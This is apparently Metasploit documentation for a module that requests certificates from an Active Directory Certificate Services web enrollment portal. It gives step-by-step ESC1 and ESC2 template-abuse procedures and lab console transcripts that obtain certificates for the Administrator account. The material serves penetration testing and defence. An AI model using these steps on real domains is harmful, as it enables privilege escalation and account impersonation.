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Web Enrollment Cert

documentation/modules/auxiliary/admin/http/web_enrollment_cert.md

6.4.13134.1 KB
Original Source

Vulnerable Application

This module makes authenticated requests to an Active Directory Certificate Services Web enrollment portal to gain a list of available templates and/or generate certificates based on the available templates. This is the same basic action as auxiliary/server/relay/esc8 but rather then relaying NTLM credentials, we are authenticating with credentials we have.

Verification Steps

NTLM

  1. Install and configure the application
  2. Start msfconsole
  3. Do: use auxiliary/admin/http/web_enrollment_cert
  4. Set the RHOSTS option to the AD CS Web Enrollment server
  5. Set the HTTP::Auth option to ntlm
  6. Set the HttpUsername option to a valid user
  7. Set the HttpPassword option to a valid user password
  8. Set MODE, CERT_TEMPLATE, and TARGETURI to the desired settings.

Kerberos

  1. Install and configure the application
  2. Start msfconsole
  3. Do: use auxiliary/admin/http/web_enrollment_cert
  4. Set the RHOSTS option to the AD CS Web Enrollment server
  5. Set the HTTP::Auth option to kerberos
  6. Set the DOMAIN option to the FQDN
  7. Set the DomainControllerRhost if it is not available through DNS
  8. Set the HttpUsername option to a valid user
  9. Set the HttpPassword option to a valid user password
  10. Set MODE, CERT_TEMPLATE, and TARGETURI to the desired settings.

ESC1

  1. Install and configure the application with ESC1 vulnerable template
  2. Follow steps above based on authentication type
  3. Set MODE to SPECIFIC_TEMPLATE
  4. Set CERT_TEMPLATE to a template vulnerable to ESC1
  5. Set ALT_UPN to the desired User
  6. Set ALT_SID to the desired SID, if necessary
  7. Set ALT_DNS if required

ESC2

  1. Install and configure the application with ESC2 vulnerable template
  2. Follow steps above based on authentication type
  3. Set MODE to SPECIFIC_TEMPLATE
  4. Set CERT_TEMPLATE to a template vulnerable to ESC2
  5. Set ON_BEHALF_OF to the desired User
  6. Set PFX to the desired certificate file

Options

MODE

The issue mode. This controls what the module will do once an authenticated session is established to the Web Enrollment server. Must be one of the following options:

  • ALL: Enumerate all available certificate templates and then issue each of them
  • QUERY_ONLY: Enumerate all available certificate templates but do not issue any. Not all certificate templates available for use will be displayed; templates with the flag CT_FLAG_MACHINE_TYPE set will not show available and include Machine (AKA Computer) and DomainController
  • SPECIFIC_TEMPLATE: Issue the certificate template specified in the CERT_TEMPLATE option

CERT_TEMPLATE

The template to issue if MODE is SPECIFIC_TEMPLATE.

Scenarios

Windows 2019

NTLM with MODE ALL

msf
msf > use auxiliary/admin/http/web_enrollment_cert 
msf auxiliary(admin/http/web_enrollment_cert) > set rhost 10.5.132.180
rhost => 10.5.132.180
msf auxiliary(admin/http/web_enrollment_cert) > set httpusername Administrator
httpusername => Administrator
msf auxiliary(admin/http/web_enrollment_cert) > set httppassword v3Mpassword
httppassword => v3Mpassword
msf auxiliary(admin/http/web_enrollment_cert) > set DOMAIN EXAMPLE
DOMAIN => EXAMPLE
msf auxiliary(admin/http/web_enrollment_cert) > set MODE ALL 
MODE => ALL
msf auxiliary(admin/http/web_enrollment_cert) > set HTTP::AUTH ntlm 
HTTP::AUTH => ntlm
msf auxiliary(admin/http/web_enrollment_cert) > show options

Module options (auxiliary/admin/http/web_enrollment_cert):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   ALT_DNS                        no        Alternative certificate DNS
   ALT_SID                        no        Alternative object SID
   ALT_UPN                        no        Alternative certificate UPN (format: USER@DOMAIN)
   HttpPassword  v3Mpassword      no        The HTTP password to specify for authentication
   HttpUsername  Administrator    no        The HTTP username to specify for authentication
   MODE          ALL              yes       The issue mode. (Accepted: ALL, QUERY_ONLY, SPECIFIC_TEMPLATE)
   ON_BEHALF_OF                   no        Username to request on behalf of (format: DOMAIN\USER)
   PFX                            no        Certificate to request on behalf of
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5
                                            h, sapni, socks4, http, socks5
   RHOSTS        10.5.132.180     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-
                                            metasploit.html
   RPORT         80               yes       The target port (TCP)
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI     /certsrv/        yes       The URI for the cert server.
   THREADS       1                yes       The number of concurrent threads (max one per host)
   VHOST                          no        HTTP server virtual host


   When MODE is SPECIFIC_TEMPLATE:

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   CERT_TEMPLATE                   no        The template to issue if MODE is SPECIFIC_TEMPLATE.


View the full module info with the info, or info -d command.

msf auxiliary(admin/http/web_enrollment_cert) > run
[*] Retrieving available template list, this may take a few minutes
[*] ***Templates with CT_FLAG_MACHINE_TYPE set like Machine and DomainController will not display as available, even if they are.***
[+] Available Certificates for EXAMPLE\\Administrator on : User, EFS, Administrator, EFSRecovery, ESC16_1, ESC2-Template, WebServer, SubCA, ESC1-Template
[+] Certificate generated using template User and EXAMPLE\\Administrator
[+] Certificate for EXAMPLE\\Administrator using template User saved to /home/tmoose/.msf4/loot/20260116142051_default_10.5.132.180_windows.ad.cs_263748.pfx
[+] Certificate generated using template EFS and EXAMPLE\\Administrator
[+] Certificate for EXAMPLE\\Administrator using template EFS saved to /home/tmoose/.msf4/loot/20260116142053_default_10.5.132.180_windows.ad.cs_150446.pfx
[+] Certificate generated using template Administrator and EXAMPLE\\Administrator
[+] Certificate for EXAMPLE\\Administrator using template Administrator saved to /home/tmoose/.msf4/loot/20260116142055_default_10.5.132.180_windows.ad.cs_586273.pfx
[+] Certificate generated using template EFSRecovery and EXAMPLE\\Administrator
[+] Certificate for EXAMPLE\\Administrator using template EFSRecovery saved to /home/tmoose/.msf4/loot/20260116142057_default_10.5.132.180_windows.ad.cs_077399.pfx
[+] Certificate generated using template ESC16_1 and EXAMPLE\\Administrator
[+] Certificate for EXAMPLE\\Administrator using template ESC16_1 saved to /home/tmoose/.msf4/loot/20260116142101_default_10.5.132.180_windows.ad.cs_832421.pfx
[+] Certificate generated using template ESC2-Template and EXAMPLE\\Administrator
[+] Certificate for EXAMPLE\\Administrator using template ESC2-Template saved to /home/tmoose/.msf4/loot/20260116142102_default_10.5.132.180_windows.ad.cs_548200.pfx
[+] Certificate generated using template WebServer and EXAMPLE\\Administrator
[+] Certificate for EXAMPLE\\Administrator using template WebServer saved to /home/tmoose/.msf4/loot/20260116142103_default_10.5.132.180_windows.ad.cs_191863.pfx
[+] Certificate generated using template SubCA and EXAMPLE\\Administrator
[+] Certificate for EXAMPLE\\Administrator using template SubCA saved to /home/tmoose/.msf4/loot/20260116142105_default_10.5.132.180_windows.ad.cs_300086.pfx
[+] Certificate generated using template ESC1-Template and EXAMPLE\\Administrator
[+] Certificate for EXAMPLE\\Administrator using template ESC1-Template saved to /home/tmoose/.msf4/loot/20260116142106_default_10.5.132.180_windows.ad.cs_017489.pfx
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

msf auxiliary(admin/http/web_enrollment_cert) >

Kerberos MODE:ALL

msf
msf auxiliary(admin/http/web_enrollment_cert) > show options

Module options (auxiliary/admin/http/web_enrollment_cert):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   ALT_DNS                        no        Alternative certificate DNS
   ALT_SID                        no        Alternative object SID
   ALT_UPN                        no        Alternative certificate UPN (format: USER@DOMAIN)
   HttpPassword  v3Mpassword      no        The HTTP password to specify for authentication
   HttpUsername  Administrator    no        The HTTP username to specify for authentication
   MODE          ALL              yes       The issue mode. (Accepted: ALL, QUERY_ONLY, SPECIFIC_TEMPLATE)
   ON_BEHALF_OF                   no        Username to request on behalf of (format: DOMAIN\USER)
   PFX                            no        Certificate to request on behalf of
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5
                                            h, sapni, socks4, http, socks5
   RHOSTS        10.5.132.180     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-
                                            metasploit.html
   RPORT         80               yes       The target port (TCP)
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI     /certsrv/        yes       The URI for the cert server.
   THREADS       1                yes       The number of concurrent threads (max one per host)
   VHOST                          no        HTTP server virtual host


   When MODE is SPECIFIC_TEMPLATE:

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   CERT_TEMPLATE                   no        The template to issue if MODE is SPECIFIC_TEMPLATE.


View the full module info with the info, or info -d command.

msf auxiliary(admin/http/web_enrollment_cert) > show advanced

Module advanced options (auxiliary/admin/http/web_enrollment_cert):

   Name                     Current Setting                    Required  Description
   ----                     ---------------                    --------  -----------
   DOMAIN                   example.com                        yes       The domain to use for Windows authentication (Must be FQDN
                                                                          if HTTP:Auth is Kerberos)
   DigestAlgorithm          SHA256                             yes       The digest algorithm to use (Accepted: SHA1, SHA256)
   DigestAuthIIS            true                               no        Conform to IIS, should work for most servers. Only set to
                                                                         false for non-IIS servers
   FingerprintCheck         true                               no        Conduct a pre-exploit fingerprint verification
   HTTP::Auth               kerberos                           yes       The Authentication mechanism to use (Accepted: auto, ntlm,
                                                                          kerberos, plaintext, none)
   HttpClientTimeout                                           no        HTTP connection and receive timeout
   HttpRawHeaders                                              no        Path to ERB-templatized raw headers to append to existing
                                                                         headers
   HttpTrace                false                              no        Show the raw HTTP requests and responses
   HttpTraceColors          red/blu                            no        HTTP request and response colors for HttpTrace (unset to d
                                                                         isable)
   HttpTraceHeadersOnly     false                              no        Show HTTP headers only in HttpTrace
   SSLKeyLogFile                                               no        The SSL key log file
   SSLServerNameIndication                                     no        SSL/TLS Server Name Indication (SNI)
   SSLVersion               Auto                               yes       Specify the version of SSL/TLS to be used (Auto, TLS and S
                                                                         SL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3
                                                                         , TLS1, TLS1.1, TLS1.2)
   ShowProgress             true                               yes       Display progress messages during a scan
   ShowProgressPercent      10                                 yes       The interval in percent that progress should be shown
   UserAgent                Mozilla/5.0 (Macintosh; Intel Mac  no        The User-Agent header to use for all requests
                             OS X 10_15_7) AppleWebKit/537.36
                             (KHTML, like Gecko) Chrome/131.0
                            .0.0 Safari/537.36
   VERBOSE                  false                              no        Enable detailed status messages
   WORKSPACE                                                   no        Specify the workspace for this module


   When HTTP::Auth is kerberos:

   Name                            Current Setting                 Required  Description
   ----                            ---------------                 --------  -----------
   DomainControllerRhost           10.5.132.180                    no        The resolvable rhost for the Domain Controller
   HTTP::Krb5Ccname                                                no        The ccache file to use for kerberos authentication
   HTTP::KrbOfferedEncryptionType  AES256,AES128,RC4-HMAC,DES-CBC  yes       Kerberos encryption types to offer
   s                               -MD5,DES3-CBC-SHA1
   HTTP::Rhostname                 WIN-DRC9HCDIMAT                 no        The rhostname which is required for kerberos - the SPN
   KrbCacheMode                    read-write                      yes       Kerberos ticket cache storage mode (Accepted: none, re
                                                                             ad-only, write-only, read-write)


View the full module info with the info, or info -d command.

msf auxiliary(admin/http/web_enrollment_cert) > run
[*] Retrieving available template list, this may take a few minutes
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143502_default_10.5.132.180_mit.kerberos.cca_557407.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143502_default_10.5.132.180_mit.kerberos.cca_545138.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[*] ***Templates with CT_FLAG_MACHINE_TYPE set like Machine and DomainController will not display as available, even if they are.***
[+] Available Certificates for  on : User, EFS, Administrator, EFSRecovery, ESC16_1, ESC2-Template, WebServer, SubCA, ESC1-Template
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143520_default_10.5.132.180_mit.kerberos.cca_606180.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143520_default_10.5.132.180_mit.kerberos.cca_023162.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate generated using template User and 
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143537_default_10.5.132.180_mit.kerberos.cca_548243.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143537_default_10.5.132.180_mit.kerberos.cca_843349.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate for  using template User saved to /home/tmoose/.msf4/loot/20260116143538_default_10.5.132.180_windows.ad.cs_760252.pfx
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143541_default_10.5.132.180_mit.kerberos.cca_236912.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143541_default_10.5.132.180_mit.kerberos.cca_237890.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate generated using template EFS and 
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143543_default_10.5.132.180_mit.kerberos.cca_360144.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143543_default_10.5.132.180_mit.kerberos.cca_009299.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate for  using template EFS saved to /home/tmoose/.msf4/loot/20260116143544_default_10.5.132.180_windows.ad.cs_150360.pfx
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143546_default_10.5.132.180_mit.kerberos.cca_444407.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143547_default_10.5.132.180_mit.kerberos.cca_460069.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate generated using template Administrator and 
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143548_default_10.5.132.180_mit.kerberos.cca_941754.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143549_default_10.5.132.180_mit.kerberos.cca_484741.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate for  using template Administrator saved to /home/tmoose/.msf4/loot/20260116143549_default_10.5.132.180_windows.ad.cs_088506.pfx
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143552_default_10.5.132.180_mit.kerberos.cca_665940.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143552_default_10.5.132.180_mit.kerberos.cca_324874.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate generated using template EFSRecovery and 
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143554_default_10.5.132.180_mit.kerberos.cca_559229.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143554_default_10.5.132.180_mit.kerberos.cca_295382.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate for  using template EFSRecovery saved to /home/tmoose/.msf4/loot/20260116143554_default_10.5.132.180_windows.ad.cs_477946.pfx
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143556_default_10.5.132.180_mit.kerberos.cca_645978.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143557_default_10.5.132.180_mit.kerberos.cca_838211.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate generated using template ESC16_1 and 
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143558_default_10.5.132.180_mit.kerberos.cca_485891.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143559_default_10.5.132.180_mit.kerberos.cca_709913.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate for  using template ESC16_1 saved to /home/tmoose/.msf4/loot/20260116143559_default_10.5.132.180_windows.ad.cs_818976.pfx
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143601_default_10.5.132.180_mit.kerberos.cca_952232.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143601_default_10.5.132.180_mit.kerberos.cca_169000.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate generated using template ESC2-Template and 
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143603_default_10.5.132.180_mit.kerberos.cca_042983.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143603_default_10.5.132.180_mit.kerberos.cca_512322.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate for  using template ESC2-Template saved to /home/tmoose/.msf4/loot/20260116143604_default_10.5.132.180_windows.ad.cs_206522.pfx
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143607_default_10.5.132.180_mit.kerberos.cca_893032.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143607_default_10.5.132.180_mit.kerberos.cca_156631.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate generated using template WebServer and 
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143608_default_10.5.132.180_mit.kerberos.cca_982799.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143609_default_10.5.132.180_mit.kerberos.cca_247412.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate for  using template WebServer saved to /home/tmoose/.msf4/loot/20260116143609_default_10.5.132.180_windows.ad.cs_955795.pfx
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143612_default_10.5.132.180_mit.kerberos.cca_119902.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143613_default_10.5.132.180_mit.kerberos.cca_847610.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate generated using template SubCA and 
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143614_default_10.5.132.180_mit.kerberos.cca_417480.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143615_default_10.5.132.180_mit.kerberos.cca_766015.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate for  using template SubCA saved to /home/tmoose/.msf4/loot/20260116143615_default_10.5.132.180_windows.ad.cs_888697.pfx
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143617_default_10.5.132.180_mit.kerberos.cca_866496.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143617_default_10.5.132.180_mit.kerberos.cca_528295.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate generated using template ESC1-Template and 
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143619_default_10.5.132.180_mit.kerberos.cca_103101.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116143619_default_10.5.132.180_mit.kerberos.cca_871753.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate for  using template ESC1-Template saved to /home/tmoose/.msf4/loot/20260116143620_default_10.5.132.180_windows.ad.cs_135453.pfx
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(admin/http/web_enrollment_cert) >

Kerberos, ESC1

msf
msf auxiliary(admin/http/web_enrollment_cert) > set MODE QUERY_ONLY 
MODE => QUERY_ONLY
msf auxiliary(admin/http/web_enrollment_cert) > run
[*] Retrieving available template list, this may take a few minutes
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116144412_default_10.5.132.180_mit.kerberos.cca_605997.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116144413_default_10.5.132.180_mit.kerberos.cca_011223.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[*] ***Templates with CT_FLAG_MACHINE_TYPE set like Machine and DomainController will not display as available, even if they are.***
[+] Available Certificates for  on : User, EFS, Administrator, EFSRecovery, ESC16_1, ESC2-Template, WebServer, SubCA, ESC1-Template
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(admin/http/web_enrollment_cert) > set httpusername msfuser
httpusername => msfuser
msf auxiliary(admin/http/web_enrollment_cert) > set httppassword v3Mpassword
httppassword => v3Mpassword
msf auxiliary(admin/http/web_enrollment_cert) > set mode SPECIFIC_TEMPLATE 
mode => SPECIFIC_TEMPLATE
msf auxiliary(admin/http/web_enrollment_cert) > set cert_template ESC1-Template
cert_template => ESC1-Template
msf auxiliary(admin/http/web_enrollment_cert) > set ALT_UPN [email protected]
ALT_UPN => [email protected]
msf auxiliary(admin/http/web_enrollment_cert) > run
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116144915_default_10.5.132.180_mit.kerberos.cca_142147.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116144915_default_10.5.132.180_mit.kerberos.cca_645508.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate generated using template ESC1-Template and 
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116144917_default_10.5.132.180_mit.kerberos.cca_079562.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116144917_default_10.5.132.180_mit.kerberos.cca_912221.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate for  using template ESC1-Template saved to /home/tmoose/.msf4/loot/20260116144918_default_10.5.132.180_windows.ad.cs_076676.pfx
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(admin/http/web_enrollment_cert) >

Kerberos, ESC2

msf
msf auxiliary(admin/http/web_enrollment_cert) > show options

Module options (auxiliary/admin/http/web_enrollment_cert):

   Name          Current Setting            Required  Description
   ----          ---------------            --------  -----------
   ALT_DNS                                  no        Alternative certificate DNS
   ALT_SID                                  no        Alternative object SID
   ALT_UPN       [email protected]  no        Alternative certificate UPN (format: USER@DOMAIN)
   HttpPassword  v3Mpassword                no        The HTTP password to specify for authentication
   HttpUsername  msfuser                    no        The HTTP username to specify for authentication
   MODE          SPECIFIC_TEMPLATE          yes       The issue mode. (Accepted: ALL, QUERY_ONLY, SPECIFIC_TEMPLATE)
   ON_BEHALF_OF                             no        Username to request on behalf of (format: DOMAIN\USER)
   PFX                                      no        Certificate to request on behalf of
   Proxies                                  no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxi
                                                      es: socks5h, sapni, socks4, http, socks5
   RHOSTS        10.5.132.180               yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/bas
                                                      ics/using-metasploit.html
   RPORT         80                         yes       The target port (TCP)
   SSL           false                      no        Negotiate SSL/TLS for outgoing connections
   TARGETURI     /certsrv/                  yes       The URI for the cert server.
   THREADS       1                          yes       The number of concurrent threads (max one per host)
   VHOST                                    no        HTTP server virtual host


   When MODE is SPECIFIC_TEMPLATE:

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   CERT_TEMPLATE  ESC1-Template    no        The template to issue if MODE is SPECIFIC_TEMPLATE.


View the full module info with the info, or info -d command.

msf auxiliary(admin/http/web_enrollment_cert) > set CERT_TEMPLATE User
CERT_TEMPLATE => User
msf auxiliary(admin/http/web_enrollment_cert) > unset ALT_UPN 
Unsetting ALT_UPN...
msf auxiliary(admin/http/web_enrollment_cert) > run
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116150908_default_10.5.132.180_mit.kerberos.cca_798433.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116150908_default_10.5.132.180_mit.kerberos.cca_355039.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate generated using template User and 
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116150910_default_10.5.132.180_mit.kerberos.cca_649135.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116150910_default_10.5.132.180_mit.kerberos.cca_950645.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate for  using template User saved to /home/tmoose/.msf4/loot/20260116150911_default_10.5.132.180_windows.ad.cs_854591.pfx
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(admin/http/web_enrollment_cert) > set PFX /home/tmoose/.msf4/loot/20260116150911_default_10.5.132.180_windows.ad.cs_854591.pfx
PFX => /home/tmoose/.msf4/loot/20260116150911_default_10.5.132.180_windows.ad.cs_854591.pfx
msf auxiliary(admin/http/web_enrollment_cert) > set ON_BEHALF_OF EXAMPLE\\Administrator
ON_BEHALF_OF => EXAMPLE\Administrator
msf auxiliary(admin/http/web_enrollment_cert) > set cert_template User
cert_template => User
msf auxiliary(admin/http/web_enrollment_cert) > run
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116151145_default_10.5.132.180_mit.kerberos.cca_970115.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116151145_default_10.5.132.180_mit.kerberos.cca_854009.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate generated using template User and 
[+] 10.5.132.180:88 - Received a valid TGT-Response
[*] 10.5.132.180:80       - TGT MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116151147_default_10.5.132.180_mit.kerberos.cca_332600.bin
[+] 10.5.132.180:88 - Received a valid TGS-Response
[*] 10.5.132.180:80       - TGS MIT Credential Cache ticket saved to /home/tmoose/.msf4/loot/20260116151147_default_10.5.132.180_mit.kerberos.cca_241072.bin
[+] 10.5.132.180:88 - Received a valid delegation TGS-Response
[+] Certificate for  using template User saved to /home/tmoose/.msf4/loot/20260116151147_default_10.5.132.180_windows.ad.cs_115992.pfx
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(admin/http/web_enrollment_cert) >